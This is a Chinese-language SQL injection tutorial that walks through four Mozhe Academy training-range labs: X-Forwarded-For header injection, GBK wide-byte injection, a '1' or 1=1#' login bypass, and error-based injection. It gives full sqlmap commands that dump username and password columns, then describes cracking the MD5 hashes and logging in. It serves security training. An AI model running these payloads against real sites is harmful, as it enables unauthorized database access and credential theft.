Java教程

Web安全 SQL注入漏洞 (1)

本文主要是介绍Web安全 SQL注入漏洞 (1),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

SQL注入的原理:有些恶意用户的,在提交查询请求的过程中 将SQL语句插入到请求内容中,同时程序的本身对用户输入的内容过于相信,没有对用户插入的SQL语句进行任何的过滤,从而导致SQL语句直接被服务端执行.

测试的内容:(1)伪造 http 头部的文件注入.

                      (2)宽字节注入漏洞的利用

                      (3)任意密码登录,构造语句绕过

                      (4)对登录页面进行 sql 注入测试

测试机:kali    链接:https://pan.baidu.com/s/1ZKvP-CFYcmhFw3ol5ul4bg 
                        提取码:tian 

靶场是:墨者学院的在线靶场:墨者学院_专注于网络安全人才培养

1. 通过伪造 http 头部信息,绕过服务器对于 ip 地址的限制,再找到注入点 拿到账号和密码.

第一步:来到登录页面.

第二步:随便输入一个账号和密码.

发现登录失败.

第三步:用Burp抓包.

添加:x-forwarded-for:1.1.1.1

发现返回的是自己的添加地址1.1.1.1(说明:这里有SQL注入)

 

 第四步:添加:x-forwarded-for:*        保存为txt文件.

 第五步:用sqlmap扫描 保存的1.txt文件.

命令:sqlmap -r /root/1.txt --batch --current-db

【--batch 】:默认sqlmap工具提出的(是否)为:y         【--current-db】:显示当前使用的数据库.

找到  x-forwarded-for 的注入点

 第六步:查看数据库中的所有的表.

命令:sqlmap -r /root/1.txt --batch --tables -D "webcalendar"

【--tables -D "webcalendar"】:把webcalendar数据库中的所有的表显示出来.

 

 发现 webcalendar 数据库中有二个表.

 

 第七步:查看表中所有的列表.

命令:sqlmap -r /root/1.txt --batch --columns -T "user" 

【--columns -T 'user'】:把user表中的所有列显示出来.

 

 发现 user 表中有三行列表.

 

 第八步:查看列表中的内容

命令:sqlmap -r /root/1.txt --batch --dump -C "username,password"

【--dump -C "username,password"】:把 username 和 password 列的中的内容显示出来.

 可以看到里面的内容是账号和密码.

 第九步:有账号和密码去登录就可以拿到flag .

2. 登录界面存在 sql 宽字节注入漏洞,尝试输入特殊字符,使页面报错,验证其存在 sql 注入,然后利用宽字节注入漏洞找到登录的账号和密码.

第一步:来到登录页面.

试过随便填账号密码,发现不行. 然后查看页面源代码,发现有一条超链接.

第二步: 文本超链接在这然后点击.

 来到注入页面.

 第三步:输入%df',使页面报错. (验证存在 SQL宽字节注入漏洞)

SQL宽字节注入原理分析:  addslashes()  这个函数会将'转义为\
                                           gbk编码的时候 %df 和 \ 的编码 %5c 合并为一个字符運
                                           从而 ' 可以逃逸

第四步:使用sqlmap(sqlmap中也宽字节插件)

命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --dbs 

【--tamper=unmagicquotes.py】是:sqlmap中的宽字节插件        【--dbs】是:显示所有数据库.

 找到有5个数据库.

 

 第五步:查看 mozhe_discuz_stormgroup 数据库中的所有表.

命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --tables -D "mozhe_discuz_stormgroup"

【--tables -D "mozhe_discuz_stormgroup"】:把 mozhe_discuz_stormgroup 数据库中的所有的表显示出来.

找到有二个表( noticw 和 stormgroup_member ).

 

第六步:查看这个二个 notice ,stormgroup_member 表中的内容

命令:sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --columns -T "notice,stormgroup_member"

【--columns -T "notice,stormgroup_member"】:把 notice 和 stormgroup_member 表中的所有列显示出来.

 找到 notice 和 stormgroup_member 表的列.

第七步:我们发现 stormgroup_member 表中有账号和密码的列,所有我们查看 stormgroup_member 的内容

命令: sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --dump -C "name,password"

【--dump -C "name,password"】:把 name 和 password 列的中的内容显示出来.

 

 找到账号和密码(密码被md5加密了)

第八步:用md5解密就行.(  然后用账号和密码去登录就行)

3. 登录界面存在任意密码登录,构造语句绕过服务器端验证,并对登录成功.

第一步:来到登录页面.

随便输入账号和密码,发现登录失败.

 

 第二步:测试是否存在 任意密码登录,所有我们使用万能密码.

(1)在账号输入:1' or 1=1#

(2)密码:随便输入或者是为空

 登录成功(拿到flag ):

4. 对登录页面进行 sql 注入测试,获取到当前所在数据库的账号和密码.

第一步:点击超链接的位置.

进来的页面,发现链接有?id=1 

 第二步:用 sqlmap 工具查找是否存在 SQL 漏洞

命令: sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --current-db

【--batch 】:默认sqlmap工具提出的(是否)为:y         【--current-db】:显示当前使用的数据库.

 找到四个注入点 和 当前数据库的名字.

 第三步:查看 mozhe_discuz_stormgroup 数据库中的所有表.

命令:sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --tables -D "mozhe_discuz_stormgroup"

【--tables -D "mozhe_discuz_stormgroup"】:把 mozhe_discuz_stormgroup 数据库中的所有的表显示出来.

 找到 mozhe_discuz_stormgroup 数据库中二个表.

第四步:查看 stormgroup_member 表中的所有列

命令:sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --columns -T "stormgroup_member"

【--columns -T "stormgroup_member"】:把 stormgroup_member 表中的所有列显示出来.

 

 找到 stormgroup_member 表有三个列.

 第五步:查看 name 和 password 这两列的内容.

命令:sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --dump -C "name,password"
【--dump -C "name,password"】:把 name 和 password 列的中的内容显示出来.

 找到账号和密码(密码被md5加密了)(账号和密码也和 第二题 一模一样)

 

第六步: 用md5解密就行.(  然后用账号和密码去登录就行)

第一题的靶场: X-Forwarded-For注入漏洞实战_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养 第二题的靶场: SQL注入漏洞测试(宽字节)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养 第三题的靶场: SQL注入漏洞测试(登录绕过)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养 第四题的靶场: SQL注入漏洞测试(报错盲注)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养
这篇关于Web安全 SQL注入漏洞 (1)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!